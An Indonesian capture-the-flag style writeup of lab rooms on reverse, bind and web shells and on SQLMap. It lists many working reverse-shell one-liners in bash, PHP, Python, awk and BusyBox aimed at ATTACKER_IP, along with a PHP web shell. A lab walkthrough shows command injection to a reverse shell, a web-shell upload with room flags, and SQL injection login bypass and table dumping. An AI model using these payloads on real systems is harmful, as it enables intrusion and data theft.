Writeup Aria
RoadMapCyber Security 101

Offensive Security Tooling Part 2

Shells Overview

Room Introduction

Shell dalam keamanan siber sering digunakan oleh penyerang untuk mengontrol sistem dari jarak jauh, sehingga menjadi bagian penting dalam rantai serangan. Pada materi ini, akan dibahas berbagai jenis shell yang digunakan dalam offensive security, perbedaan di antara shell tersebut, serta kegunaannya. Pemahaman ini tidak hanya berguna untuk meningkatkan kemampuan penetration testing dan eksploitasi, tetapi juga untuk membantu mendeteksi aktivitas shell jarak jauh yang digunakan oleh penyerang di dalam suatu organisasi.

Shell Overview

Shell adalah perangkat lunak yang memungkinkan pengguna berinteraksi dengan sistem operasi (OS). Shell dapat berupa antarmuka grafis (GUI), namun umumnya berbentuk command-line interface (CLI), tergantung pada sistem operasi yang digunakan.

Dalam konteks keamanan siber, shell biasanya merujuk pada sesi shell tertentu yang digunakan oleh penyerang setelah berhasil mengakses sistem yang telah dikompromikan. Melalui shell ini, penyerang dapat menjalankan perintah dan mengeksekusi program di sistem target.

Fungsi Shell dalam Serangan Siber

Shell yang berhasil diperoleh dapat digunakan penyerang untuk berbagai aktivitas, antara lain:

  1. Kontrol Sistem Jarak Jauh Memungkinkan penyerang menjalankan perintah atau perangkat lunak secara remote pada sistem target.
  2. Eskalasi Hak Akses (Privilege Escalation) Jika akses awal terbatas, penyerang dapat mencari celah untuk meningkatkan hak akses menjadi lebih tinggi atau administratif.
  3. Eksfiltrasi Data Penyerang dapat menjelajahi sistem, membaca, dan menyalin data sensitif dari sistem target.
  4. Persistensi dan Pemeliharaan Akses Dengan akses shell, penyerang dapat membuat akun baru, menyimpan kredensial, atau menanamkan backdoor untuk mempertahankan akses di kemudian hari.
  5. Aktivitas Pasca-Eksploitasi Setelah mendapatkan shell, penyerang dapat melakukan berbagai aktivitas lanjutan seperti menyebarkan malware, membuat akun tersembunyi, atau menghapus data.
  6. Akses ke Sistem Lain dalam Jaringan (Pivoting) Shell dapat digunakan sebagai titik awal untuk berpindah ke sistem lain dalam jaringan yang sama, teknik ini dikenal sebagai pivoting.

Shell-shell yang akan dibahas pada bagian selanjutnya dapat digunakan untuk mendukung berbagai tujuan serangan di atas, tergantung pada jenis dan keterbatasan akses yang dimiliki penyerang.

  • What is the command-line interface that allows users to interact with an operating system?

Shell

  • What process involves using a compromised system as a launching pad to attack other machines in the network?

Pivoting

  • What is a common activity attackers perform after obtaining shell access to escalate their privileges?

Privilege Escalation

Reverse Shell

Pengertian

Reverse shell (juga dikenal sebagai connect-back shell) adalah salah satu teknik paling umum dalam serangan siber untuk mendapatkan akses ke sistem target. Pada teknik ini, koneksi dimulai dari sistem target menuju mesin penyerang, bukan sebaliknya. Cara ini sering digunakan untuk menghindari deteksi firewall dan perangkat keamanan jaringan.

Cara Kerja Reverse Shell

1. Menyiapkan Listener di Mesin Penyerang

Karena target yang akan menghubungi penyerang, maka mesin penyerang harus terlebih dahulu menunggu koneksi. Salah satu tools yang sering digunakan adalah Netcat (nc). Contoh perintah:

nc -lvnp 443

Penjelasan opsi:

  • -l : mode listen (menunggu koneksi)
  • -v : verbose (menampilkan detail koneksi)
  • -n : tidak menggunakan DNS, langsung IP
  • -p : menentukan port yang digunakan

Penyerang biasanya menggunakan port umum seperti 53, 80, 8080, 443, 139, atau 445 agar lalu lintas shell terlihat seperti trafik normal dan tidak mudah terdeteksi.

2. Mendapatkan Akses Reverse Shell

Setelah listener aktif, penyerang menjalankan payload reverse shell pada sistem target. Payload ini memanfaatkan celah keamanan atau akses tidak sah untuk membuka shell dan menghubungkannya ke mesin penyerang.

Jenis payload sangat bergantung pada:

  • Sistem operasi target
  • Shell yang tersedia
  • Tools yang terpasang

Contoh Payload Reverse Shell (Pipe Reverse Shell)

rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | sh -i 2>&1 | nc ATTACKER_IP ATTACKER_PORT >/tmp/f

Penjelasan Payload:

  • rm -f /tmp/f Menghapus named pipe lama jika ada agar tidak terjadi konflik.
  • mkfifo /tmp/f Membuat named pipe (FIFO) untuk komunikasi dua arah.
  • cat /tmp/f Membaca input dari named pipe.
  • | sh -i 2>&1 Mengalirkan input ke shell interaktif dan menggabungkan output standar dan error.
  • | nc ATTACKER_IP ATTACKER_PORT Mengirim output shell ke mesin penyerang melalui Netcat.
  • >/tmp/f Mengirim kembali output ke named pipe agar komunikasi dua arah berjalan.

Payload ini memungkinkan shell bash diekspos ke jaringan dan terhubung ke listener penyerang.

Shell Diterima oleh Penyerang

Setelah payload dijalankan, penyerang akan menerima koneksi dari sistem target dan mendapatkan akses shell, seolah-olah sedang menggunakan terminal langsung pada sistem tersebut.

Output koneksi menunjukkan:

  • IP target yang terkompromi
  • Port sumber yang digunakan
  • Akses shell aktif pada sistem target
attacker@kali:~$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.4.99.209] from (UNKNOWN) [10.10.13.37] 59964
To run a command as administrator (user "root"), use "sudo ".
See "man sudo_root" for details.

target@tryhackme:~$
  • What type of shell allows an attacker to execute commands remotely after the target connects back?

Reverse Shell

  • What tool is commonly used to set up a listener for a reverse shell?

netcat

Bind Shell

Pengertian

Bind shell adalah teknik di mana sistem target yang telah dikompromikan membuka (bind) sebuah port dan menunggu koneksi masuk. Ketika penyerang terhubung ke port tersebut, sistem akan mengekspose sesi shell sehingga penyerang dapat menjalankan perintah dari jarak jauh.

Metode ini biasanya digunakan ketika sistem target tidak mengizinkan koneksi keluar (outgoing connection). Namun, bind shell relatif kurang populer dibanding reverse shell karena harus terus mendengarkan koneksi, sehingga lebih mudah terdeteksi oleh sistem keamanan.

Cara Kerja Bind Shell

1. Menyiapkan Bind Shell di Mesin Target

Pada teknik ini, bind shell dijalankan langsung di mesin target. Contoh perintah yang digunakan adalah:

rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | bash -i 2>&1 | nc -l 0.0.0.0 8080 > /tmp/f
Penjelasan Payload:
  • rm -f /tmp/f Menghapus named pipe lama untuk menghindari konflik.
  • mkfifo /tmp/f Membuat named pipe (FIFO) sebagai media komunikasi dua arah.
  • cat /tmp/f Membaca input yang masuk dari named pipe.
  • | bash -i 2>&1 Menjalankan shell bash secara interaktif dan mengarahkan error ke output standar.
  • | nc -l 0.0.0.0 8080 Menjalankan Netcat dalam mode listen pada semua interface jaringan di port 8080. Ketika penyerang terhubung, shell akan tersedia.
  • >/tmp/f Mengirim kembali output perintah ke named pipe untuk menjaga komunikasi dua arah.

Catatan: Port di bawah 1024 membutuhkan hak akses administratif (root). Oleh karena itu, penggunaan port 8080 lebih aman dan praktis.

2. Penyerang Terhubung ke Bind Shell

Setelah bind shell aktif, penyerang dapat melakukan koneksi dari mesin mereka menggunakan Netcat:

nc -nv TARGET_IP 8080

Penjelasan:

  • nc : menjalankan Netcat
  • -n : menonaktifkan DNS lookup
  • -v : menampilkan detail koneksi
  • TARGET_IP : alamat IP mesin target
  • 8080 : port tempat bind shell mendengarkan

Akses Shell Berhasil

Jika koneksi berhasil, penyerang akan langsung mendapatkan shell pada sistem target dan dapat menjalankan perintah seperti pada terminal lokal.

Kesimpulan

Bind shell memungkinkan penyerang:

  • Mendapatkan akses jarak jauh tanpa koneksi keluar dari target

  • Cocok untuk lingkungan dengan firewall ketat terhadap outgoing traffic Namun, bind shell memiliki kelemahan:

  • Port terbuka mudah terdeteksi

  • Membutuhkan layanan yang terus berjalan Karena itu, bind shell sering dianggap kurang stealthy dibanding reverse shell.

  • What type of shell opens a specific port on the target for incoming connections from the attacker?

Bind Shell

  • Listening below which port number requires root access or privileged permissions?

1024

Shell Listeners

Pada materi sebelumnya telah dibahas bahwa reverse shell melakukan koneksi dari sistem target yang telah dikompromikan menuju mesin penyerang. Untuk menerima dan berinteraksi dengan shell tersebut, dibutuhkan listener. Meskipun Netcat adalah tool yang paling umum digunakan, terdapat beberapa utilitas lain yang juga sering dipakai untuk tujuan ini.

1. Rlwrap

Pengertian

Rlwrap adalah utilitas ringan yang memanfaatkan library GNU Readline untuk menyediakan fitur editing keyboard dan riwayat perintah (command history).

Fungsi

Rlwrap sering digunakan untuk meningkatkan kenyamanan penggunaan shell, terutama saat menggunakan Netcat, yang secara default tidak mendukung tombol panah dan history.

Contoh Penggunaan:
rlwrap nc -lvnp 443

Dengan membungkus Netcat menggunakan rlwrap, penyerang dapat:

  • Menggunakan tombol panah atas/bawah
  • Mengakses riwayat perintah
  • Berinteraksi lebih nyaman dengan shell

2. Ncat

Pengertian

Ncat adalah versi Netcat yang lebih modern dan dikembangkan oleh proyek Nmap. Tool ini menyediakan fitur tambahan seperti enkripsi SSL.

Contoh Penggunaan (Listener Reverse Shell):
ncat -lvnp 4444
# listening on [any] 443 ...
Contoh Penggunaan dengan SSL:
ncat --ssl -lvnp 4444
# Ncat: Version 7.94SVN ( https://nmap.org/ncat )
# Ncat: Listening on [::]:443
# Ncat: Listening on 0.0.0.0:443

Fitur penting:

  • Mendukung enkripsi SSL untuk komunikasi yang lebih aman
  • Dapat menggunakan sertifikat sementara atau permanen
  • Lebih fleksibel dibanding Netcat standar

3. Socat

Pengertian

Socat adalah utilitas yang memungkinkan pembuatan koneksi socket antara dua sumber data, misalnya antara dua host yang berbeda.

Contoh Penggunaan Default (Listener Reverse Shell):
socat -d -d TCP-LISTEN:443 STDOUT
# 2024/09/23 15:44:38 socat[41135] N listening on AF=2 0.0.0.0:443
Penjelasan:
  • -d -d : mengaktifkan mode verbose (detail koneksi)
  • TCP-LISTEN:443 : membuka listener TCP pada port 443
  • STDOUT : menampilkan data yang diterima langsung ke terminal

Socat dikenal sebagai tool yang sangat fleksibel dan sering digunakan dalam skenario lanjutan karena mampu menangani berbagai jenis koneksi dan protokol.

  • Which flexible networking tool allows you to create a socket connection between two data sources?

socat

  • Which command-line utility provides readline-style editing and command history for programs that lack it, enhancing the interaction with a shell listener?

rlwrap

  • What is the improved version of Netcat distributed with the Nmap project that offers additional features like SSL support for listening to encrypted shells?

ncat

Shell Payloads

Shell payload adalah perintah atau script yang digunakan untuk mengekspos shell:

  • Bind shell → membuka port dan menunggu koneksi masuk
  • Reverse shell → mengirim koneksi dari target ke mesin penyerang

Pada bagian ini dibahas berbagai payload reverse shell populer di Linux, menggunakan beberapa bahasa dan utilitas.

Reverse Shell Menggunakan Bash

  1. Bash Reverse Shell Sederhana Membuka shell interaktif dan mengalihkan input/output melalui koneksi TCP ke penyerang.
    bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1
  2. Bash Read Line Reverse Shell Menggunakan file descriptor untuk membaca perintah dari socket dan mengirimkan hasilnya kembali.
    exec 5<>/dev/tcp/ATTACKER_IP/443; cat <&5 | while read line; do $line 2>&5 >&5; done
  3. Bash Reverse Shell dengan File Descriptor 196 Memanfaatkan file descriptor tertentu untuk komunikasi dua arah melalui TCP.
    0<&196;exec 196<>/dev/tcp/ATTACKER_IP/443; sh <&196 >&196 2>&196
  4. Bash Reverse Shell dengan File Descriptor 5 Mirip dengan metode sebelumnya, namun menggunakan file descriptor 5 untuk sesi interaktif.
    bash -i 5<> /dev/tcp/ATTACKER_IP/443 0<&5 1>&5 2>&5

Bash reverse shell banyak digunakan karena ringkas, tidak butuh tool tambahan, dan sering tersedia di sistem Linux.

Reverse Shell Menggunakan PHP

PHP sering digunakan dalam konteks web exploitation, terutama jika penyerang memiliki akses eksekusi PHP.

Metode PHP reverse shell yang umum:

  1. Menggunakan exec() menggunakan fungsi exec() untuk menjalankan shell. fungsi exec() mengeksekusi perintah eksternal dan mengembalikan outputnya.
    php -r '$sock=fsockopen("ATTACKER_IP",443);exec("sh <&3 >&3 2>&3");'
  2. Menggunakan shell_exec() menggunakan fungsi shell_exec() yang menjalankan perintah melalui shell dan mengembalikan outputnya sebagai string.
    php -r '$sock=fsockopen("ATTACKER_IP",443);shell_exec("sh <&3 >&3 2>&3");'
  3. Menggunakan system() menggunakan fungsi system() yang menjalankan perintah dan langsung mengirim outputnya ke browser atau terminal.
    php -r '$sock=fsockopen("ATTACKER_IP",443);system("sh <&3 >&3 2>&3");'
  4. Menggunakan passthru() menggunakan fungsi passthru() yang menjalankan perintah dan mengirim output mentahnya ke browser atau terminal.
    php -r '$sock=fsockopen("ATTACKER_IP",443);passthru("sh <&3 >&3 2>&3");'
  5. Menggunakan popen() menggunakan fungsi popen() yang membuka proses baru dan menghubungkannya ke pipe.
    php -r '$sock=fsockopen("ATTACKER_IP",443);popen("sh <&3 >&3 2>&3", "r");'

Semua metode tersebut:

  • Membuat koneksi socket ke mesin penyerang
  • Menjalankan shell (sh)
  • Mengarahkan input dan output shell ke socket

Perbedaannya terletak pada cara PHP mengeksekusi perintah dan menangani output.

Reverse Shell Menggunakan Python

Python reverse shell dijalankan dengan python -c dan memanfaatkan modul bawaan.

  1. Menggunakan Environment Variables IP dan port penyerang disimpan dalam variabel lingkungan, lalu socket dibuat untuk koneksi shell.
    export RHOST="ATTACKER_IP"; export RPORT=443; PY-C 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")'
  2. Menggunakan Modul subprocess Menjalankan shell dengan lingkungan yang lebih stabil dan interaktif.
    PY-C 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.4.99.209",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'
  3. Python Reverse Shell Pendek (Short Payload) Versi ringkas yang langsung membuat socket, mengalihkan stdin/stdout/stderr, dan menjalankan bash.
    PY-C 'import os,pty,socket;s=socket.socket();s.connect(("ATTACKER_IP",443));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("bash")'

Python reverse shell sering digunakan karena fleksibel, stabil, dan mudah dimodifikasi.

Reverse Shell Lainnya

1. Telnet

Menggunakan named pipe (mkfifo) dan Telnet untuk mengirimkan shell ke mesin penyerang.

TF=$(mktemp -u); mkfifo $TF && telnet ATTACKER_IP443 0<$TF | sh 1>$TF
2. AWK

Memanfaatkan kemampuan TCP bawaan AWK untuk:

  • Menerima perintah
  • Menjalankannya
  • Mengirim hasil kembali melalui koneksi TCP
awk 'BEGIN {s = "/inet/tcp/0/ATTACKER_IP/443"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
3. BusyBox

Menggunakan Netcat bawaan BusyBox untuk menghubungkan shell ke mesin penyerang. Umum dijumpai pada sistem embedded atau minimal.

busybox nc ATTACKER_IP 443 -e sh
  • Which Python module is commonly used for managing shell commands and establishing reverse shell connections in security assessments?

subprocess

  • What shell payload method in a common scripting language uses the exec, shell_exec, system, passthru, and popen functions to execute commands remotely through a TCP connection?

php

  • Which scripting language can use a reverse shell by exporting environment variables and creating a socket connection?

python

Web Shell

Web shell adalah script berbahasa yang didukung oleh web server (seperti PHP, ASP, JSP, atau CGI) yang memungkinkan penyerang menjalankan perintah sistem melalui web server. Umumnya, web shell berupa satu file yang berisi kode untuk eksekusi perintah dan manipulasi file.

Web shell sering disembunyikan di dalam aplikasi atau layanan web yang telah dikompromikan, sehingga sulit dideteksi dan sangat populer digunakan oleh penyerang.

Bahasa yang Umum Digunakan

Web shell dapat ditulis menggunakan berbagai bahasa yang didukung web server, antara lain:

  • PHP
  • ASP / ASP.NET
  • JSP
  • CGI script

Pemilihan bahasa bergantung pada teknologi yang digunakan oleh web server target.

Contoh PHP Web Shell Sederhana

Contoh web shell PHP dasar:

<?php
if (isset($_GET['cmd'])) {
    system($_GET['cmd']);
}
?>
  • Menjalankan perintah sistem berdasarkan parameter cmd yang dikirim melalui metode GET seperti http://victim.com/uploads/shell.php?cmd=whoami.
  • File disimpan dengan ekstensi .php (misalnya shell.php).

Web shell ini dapat diunggah ke server dengan mengeksploitasi celah seperti:

  • Unrestricted File Upload
    • Kegagalan membatasi jenis file yang diunggah memungkinkan penyerang mengunggah script berbahaya.
  • File Inclusion
    • Memanfaatkan kerentanan untuk menyertakan file berbahaya dari lokasi eksternal.
  • Command Injection
    • Mengeksekusi perintah sistem melalui input yang tidak divalidasi.
  • Akses tidak sah ke server

Setelah berhasil diunggah, web shell dapat diakses melalui URL tempat file tersebut berada. Penyerang cukup menambahkan parameter cmd untuk menjalankan perintah, dan hasilnya akan ditampilkan langsung di browser.

Cara Kerja Web Shell

  1. Penyerang mengunggah atau menanam web shell ke server
  2. Web shell diakses melalui browser
  3. Perintah sistem dikirim melalui parameter HTTP
  4. Server mengeksekusi perintah dan mengembalikan hasilnya

Web Shell Populer yang Banyak Ditemukan

Beberapa web shell terkenal yang tersedia secara online antara lain:

  1. p0wny-shell - https://github.com/flozz/p0wny-shell Web shell PHP sederhana dalam satu file dengan antarmuka mirip terminal untuk eksekusi perintah jarak jauh.
  2. b374k shell - https://github.com/b374k/b374k Web shell PHP dengan fitur lengkap seperti:
    • Manajemen file
    • Eksekusi perintah
    • Navigasi direktori
  3. c99 shell - https://www.r57shell.net/single.php?id=13 Salah satu web shell paling terkenal dan kuat, menyediakan:
    • Eksekusi perintah
    • Manipulasi file
    • Berbagai fitur lanjutan lainnya

Web shell dengan fitur kaya dapat menyamarkan aktivitas berbahaya dan mempersulit proses deteksi.

git clone https://github.com/flozz/p0wny-shell
cd p0wny-shell
php -S localhost:8000

kunjungi http://localhost:8000/shell.php di browser untuk mengakses web shell.

1768731353252

git clone https://github.com/b374k/b374k
cd b374k
php -S localhost:8000

kunjungi http://localhost:8000 di browser untuk mengakses web shell.

1768731410177

  • What vulnerability type allows attackers to upload a malicious script by failing to restrict file types?
    • The answer is one of the links mentioned in the Example PHP Web Shell section.

Unrestricted File Upload

  • What is a malicious script uploaded to a vulnerable web application to gain unauthorized access?

Web Shell

Practical Task

Tantangan Praktik: Reverse Shell

Setelah mempelajari berbagai jenis reverse shell, tahap selanjutnya adalah menguji pemahaman melalui latihan praktik. Pada tantangan ini, tujuan utama adalah mendapatkan flag dengan format THM{} dari web server yang memiliki celah keamanan.

Informasi Mesin dan Layanan

Setelah menekan tombol Start Machine, mesin virtual akan aktif dan dapat diakses melalui beberapa layanan berikut:

  • 10.48.181.216:8080 Menyediakan landing page (halaman utama)
  • 10.48.181.216:8081 Web application yang rentan terhadap command injection
  • 10.48.181.216:8082 Web application yang rentan terhadap unrestricted file upload

Akses Lab

  • Tantangan dapat diakses menggunakan:
    • AttackBox (ditampilkan dalam mode split screen), atau
    • Mesin pribadi yang telah terhubung ke VPN

Target 1: Command Injection Exploitation

1768731739570

nc -lvnp 9001
hello.txt ; id
# 328bc672ba8234075d81256d8881cf442adb46358365f61229f2be3f1b5fa046 hello.txt
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

hello.txt ; ls -la /
# 328bc672ba8234075d81256d8881cf442adb46358365f61229f2be3f1b5fa046 hello.txt
# drwxr-xr-x 1 root root 4096 Oct 18 2024 .
# drwxr-xr-x 1 root root 4096 Oct 18 2024 ..
# -rwxr-xr-x 1 root root 0 Oct 18 2024 .dockerenv
# drwxr-xr-x 1 root root 4096 Oct 18 2024 bin
# drwxr-xr-x 2 root root 4096 Sep 3 2022 boot
# drwxr-xr-x 5 root root 340 Jan 18 10:20 dev
# drwxr-xr-x 1 root root 4096 Oct 18 2024 etc
# -rw-r--r-- 1 root root 46 Oct 18 2024 flag.txt
# drwxr-xr-x 2 root root 4096 Sep 3 2022 home
# drwxr-xr-x 1 root root 4096 Nov 15 2022 lib
# drwxr-xr-x 2 root root 4096 Nov 14 2022 lib64
# drwxr-xr-x 2 root root 4096 Nov 14 2022 media
# drwxr-xr-x 2 root root 4096 Nov 14 2022 mnt
# drwxr-xr-x 2 root root 4096 Nov 14 2022 opt
# dr-xr-xr-x 273 root root 0 Jan 18 10:20 proc
# drwx------ 1 root root 4096 Nov 15 2022 root
# drwxr-xr-x 1 root root 4096 Nov 15 2022 run
# drwxr-xr-x 1 root root 4096 Nov 15 2022 sbin
# drwxr-xr-x 2 root root 4096 Nov 14 2022 srv
# dr-xr-xr-x 13 root root 0 Jan 18 10:20 sys
# drwxrwxrwt 1 root root 4096 Oct 18 2024 tmp
# drwxr-xr-x 1 root root 4096 Nov 14 2022 usr
# drwxr-xr-x 1 root root 4096 Nov 15 2022 var

hello.txt ; sh -i >& /dev/tcp/10.49.93.55/9001 0>&1 ;
hello.txt ; 0<&196;exec 196<>/dev/tcp/10.49.93.55/9001; sh <&196 >&196 2>& ;
# gagal

hello.txt ; rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | sh -i 2>&1 | nc 10.49.93.55 9001 >/tmp/f

baru berhasil ketika mencoba menggunakan mkfifo

whoami
# www-data
cat flag.txt
# THM{0f28b3e1b00becf15d01a1151baf10fd713bc625}

1768732414642

Target 2: Unrestricted File Upload Exploitation

1768732446354

kita coba upload revshell, disini kita bisa coba gunakan p0wny-shell atau b374k shell jika memungkinkan.

gobuster dir -u http://10.49.168.154:8082/ -w /usr/share/wordlists/dirb/common.txt
# /index.php            (Status: 200) [Size: 961]
# /server-status        (Status: 403) [Size: 280]
# /uploads              (Status: 301) [Size: 323]
git clone https://github.com/flozz/p0wny-shell

file shell.php diupload melalui form upload.

setelah itu kita akses melalui browser:

1768732673042

cat /flag.txt
# THM{202bb14ed12120b31300cfbbbdd35998786b44e5}
  • Using a reverse or bind shell, exploit the command injection vulnerability to get a shell. What is the content of the flag saved in the / directory?
    • Place your reverse shell payload in between two ;

THM{0f28b3e1b00becf15d01a1151baf10fd713bc625}

  • Using a web shell, exploit the unrestricted file upload vulnerability and get a shell. What is the content of the flag saved in the / directory?
    • Use the payloads learned in tasks 7 to create a file called shell.php. All files are stored in the /uploads/ directory of the web site.

THM{202bb14ed12120b31300cfbbbdd35998786b44e5}


SQLMap: The Basics

Introduction

SQL Injection adalah salah satu kerentanan keamanan yang paling umum dan telah lama menjadi topik penting dalam dunia keamanan siber. Untuk memahami SQL Injection, kita perlu memahami terlebih dahulu apa itu database dan bagaimana website berinteraksi dengannya.

Database adalah kumpulan data yang disimpan secara terstruktur agar mudah disimpan, diubah, dan diambil kembali. Website yang kita gunakan sehari-hari—seperti halaman login atau fitur pencarian—menggunakan database untuk menyimpan dan memverifikasi data pengguna. Ketika pengguna memasukkan username dan password, website akan berkomunikasi dengan database untuk mengecek apakah data tersebut valid.

Interaksi antara website dan database dilakukan menggunakan bahasa SQL (Structured Query Language). Database dikelola oleh DBMS (Database Management System) seperti MySQL, PostgreSQL, SQLite, atau Microsoft SQL Server. SQL Injection terjadi ketika input pengguna tidak difilter dengan baik sehingga penyerang dapat menyisipkan perintah SQL berbahaya untuk membaca, mengubah, atau bahkan menghapus data dalam database.

Dalam materi ini, akan dipelajari dasar-dasar SQL Injection serta penggunaan tool otomatis seperti SQLMap untuk mendeteksi dan mengeksploitasi kerentanan tersebut melalui praktik langsung.

Database & Website

  • Database menyimpan data pengguna dan data aplikasi lainnya
  • Website berinteraksi dengan database untuk:
    • Login (autentikasi)
    • Pencarian data
    • Menyimpan & memperbarui informasi

DBMS (Database Management System)

  • Contoh DBMS:
    • MySQL
    • PostgreSQL
    • SQLite
    • Microsoft SQL Server
  • DBMS menggunakan SQL sebagai bahasa perintah

SQL Injection

  • Terjadi ketika input pengguna langsung dimasukkan ke query SQL tanpa validasi
  • Dampak:
    • Membaca data sensitif
    • Bypass login
    • Mengubah atau menghapus data
    • Mengambil alih sistem

SQLMap

  • Tool otomatis untuk:
    • Mendeteksi SQL Injection
    • Mengeksploitasi database secara otomatis
  • Sangat berguna dalam penetration testing
  • Which language builds the interaction between a website and its database?

sql

SQL Injection Vulnerability

SQL Injection adalah kerentanan keamanan pada aplikasi web yang terjadi karena website berkomunikasi dengan database menggunakan perintah SQL. Database dipakai untuk menyimpan dan mengambil data seperti akun pengguna, password, atau data pencarian. Setiap kali user login atau mencari sesuatu, website akan mengirimkan query SQL ke database untuk memproses permintaan tersebut.

Database dikelola oleh DBMS seperti MySQL, PostgreSQL, SQLite, dan Microsoft SQL Server. DBMS ini bertugas memahami dan mengeksekusi perintah SQL. Masalah muncul saat input dari pengguna tidak divalidasi dengan baik dan langsung digabungkan ke dalam query SQL. Dari sinilah SQL Injection bisa terjadi.

Hal yang perlu diingat tentang SQL Injection:

  • Input user adalah titik paling rawan
  • Query SQL yang dibuat secara langsung sangat berbahaya
  • Kesalahan kecil pada validasi bisa berdampak besar

Jika berhasil dieksploitasi, SQL Injection dapat menyebabkan:

  • Data sensitif terbaca oleh penyerang
  • Login bisa dilewati tanpa kredensial yang valid
  • Data dalam database diubah atau dihapus
  • Sistem berpotensi diambil alih

Dalam pembelajaran ini, kita tidak hanya mempelajari teorinya, tetapi juga praktik langsung. Tool seperti SQLMap digunakan untuk membantu mendeteksi dan mengeksploitasi celah SQL Injection secara otomatis. Tool ini umum dipakai dalam penetration testing karena cepat dan efisien. Walaupun pengetahuan dasar SQL membantu, materi ini tetap bisa diikuti tanpa harus ahli SQL.

katakanlah kita sedang mencoba login ke sebuah website dengan username dan password.

  • Username: John
  • Password: Un@detectable444
SELECT * FROM users WHERE username = 'John' AND password = 'Un@detectable444';

kita ansumsikan query di atas dijalankan oleh website untuk memverifikasi kredensial login. Jika username dan password cocok, user akan berhasil login.

namun attacker mencoba memasukkan input berbahaya pada form login:

  • Username: John
  • Password: abc' OR 1=1;-- -
SELECT * FROM users WHERE username = 'John' AND password = 'abc' OR 1=1;-- -';

maka query di atas akan selalu bernilai benar karena 1=1 selalu benar. Bagian -- - adalah komentar dalam SQL, sehingga sisa query diabaikan. Akibatnya, attacker bisa login tanpa mengetahui password yang benar.

  • Which boolean operator checks if at least one side of the operator is true for the condition to be true?

or

  • Is 1=1 in an SQL query always true? (YEA/NAY)

YEA

Automated SQL Injection Tool

SQL Injection (SQLi) adalah teknik serangan yang memanfaatkan celah keamanan pada aplikasi web yang berinteraksi dengan database. Jika input pengguna tidak divalidasi dengan baik, penyerang bisa menjalankan perintah SQL berbahaya. SQLMap adalah tool otomatis untuk:

  • Mendeteksi celah SQL Injection
  • Mengeksploitasi database
  • Mengambil database, tabel, dan isi data

SQLMap sangat membantu karena:

  • Menghemat waktu dibanding manual SQLi
  • Mendukung banyak teknik SQL Injection
  • Bisa bekerja dengan request GET dan POST

Menjalankan SQLMap

SQLMap dijalankan melalui terminal Linux.

Melihat bantuan
sqlmap --help
Mode Wizard (Cocok untuk Pemula)
sqlmap --wizard

Mode ini akan:

  • Bertanya URL target
  • Menentukan metode testing otomatis
  • Cocok untuk belajar langkah demi langkah

Target dengan GET Parameter

Contoh URL dengan GET parameter:

http://sqlmaptesting.thm/search?cat=1

Parameter cat=1 berpotensi rentan karena:

  • Input langsung dikirim ke database
  • Bisa dimanipulasi oleh attacker

Mengecek SQL Injection pada URL

Gunakan flag -u untuk URL target.

sqlmap -u http://sqlmaptesting.thm/search?cat=1
Hasil yang Bisa Dideteksi:

SQLMap dapat menemukan beberapa jenis SQL Injection, seperti:

  • Boolean-based Blind
  • Error-based
  • Time-based Blind
  • UNION-based

Contoh payload:

cat=1 AND 1=1
cat=1 AND SLEEP(5)
cat=1 UNION SELECT NULL,NULL,...

Jika muncul informasi seperti:

  • GET parameter 'cat' is injectable
  • back-end DBMS: MySQL

Artinya URL tersebut rentan SQL Injection

Mengetahui Database (Flag --dbs)

Untuk menampilkan semua database:

sqlmap -u http://sqlmaptesting.thm/search?cat=1 --dbs

Contoh hasil:

available databases:
[*] users
[*] members

Menampilkan Tabel dalam Database

Gunakan flag:

  • -D → nama database
  • --tables → daftar tabel
sqlmap -u http://sqlmaptesting.thm/search?cat=1 -D users --tables

Contoh hasil:

Tables:
- johnath
- alexas
- thomas

Dump Data dari Tabel

Untuk melihat isi tabel:

Flag yang digunakan:

  • -D → database
  • -T → tabel
  • --dump → ambil seluruh data
sqlmap -u http://sqlmaptesting.thm/search?cat=1 -D users -T thomas --dump

Contoh data:

+------------+------------+----------+
| Date       | name       | pass     |
+------------+------------+----------+
| 09/09/2024 | Thomas THM | testing  |
+------------+------------+----------+

Jika kolom password terdeteksi hash, SQLMap akan menawarkan:

  • Simpan hash
  • Crack password (dictionary attack)

SQL Injection via POST Request

Tidak semua SQLi memakai GET. Banyak form login memakai POST request.

Langkah Umum:
  1. Intercept request login (Burp Suite, dll)
  2. Simpan request sebagai file .txt
  3. Jalankan SQLMap dengan flag -r
sqlmap -r intercepted_request.txt

Cocok untuk:

  • Login form
  • Register form
  • Search form POST

Ringkasan Flag Penting SQLMap

FlagFungsi
-uTarget URL
--wizardMode interaktif
--dbsMenampilkan database
-DPilih database
--tablesTampilkan tabel
-TPilih tabel
--dumpAmbil isi tabel
-rGunakan request POST
--helpBantuan
  • SQLMap hanya boleh digunakan:
    • Di lab (TryHackMe, HTB)
    • Dengan izin tertulis
  • Menggunakan SQLMap di website tanpa izin adalah ilegal
  • Which flag in the SQLMap tool is used to extract all the databases available?

--dbs

sqlmap -u http://sqlmaptesting.thm/search/cat=1 -D members --tables

Practical Exercise

Gambaran Umum Task

Pada task ini, kita diberikan:

  • Web application rentan SQL Injection
  • Target berupa login page
  • URL login:
http://10.48.181.216/ai/login

Berbeda dari task sebelumnya:

  • Parameter tidak terlihat langsung di URL
  • Login menggunakan GET request tersembunyi

Tujuan kita:

  • Menemukan parameter GET
  • Menguji SQL Injection dengan SQLMap
  • Mengekstrak database, tabel, dan data

Menemukan GET Parameter (Inspect Browser)

Karena parameter tidak terlihat di URL, lakukan langkah berikut:

Langkah-langkah:
  1. Buka login page
    http://10.48.181.216/ai/login
  2. Klik kanan → Inspect
  3. Masuk ke tab Network
  4. Isi form login (bebas, contoh):
    • Email: test
    • Password: test
  5. Klik Login
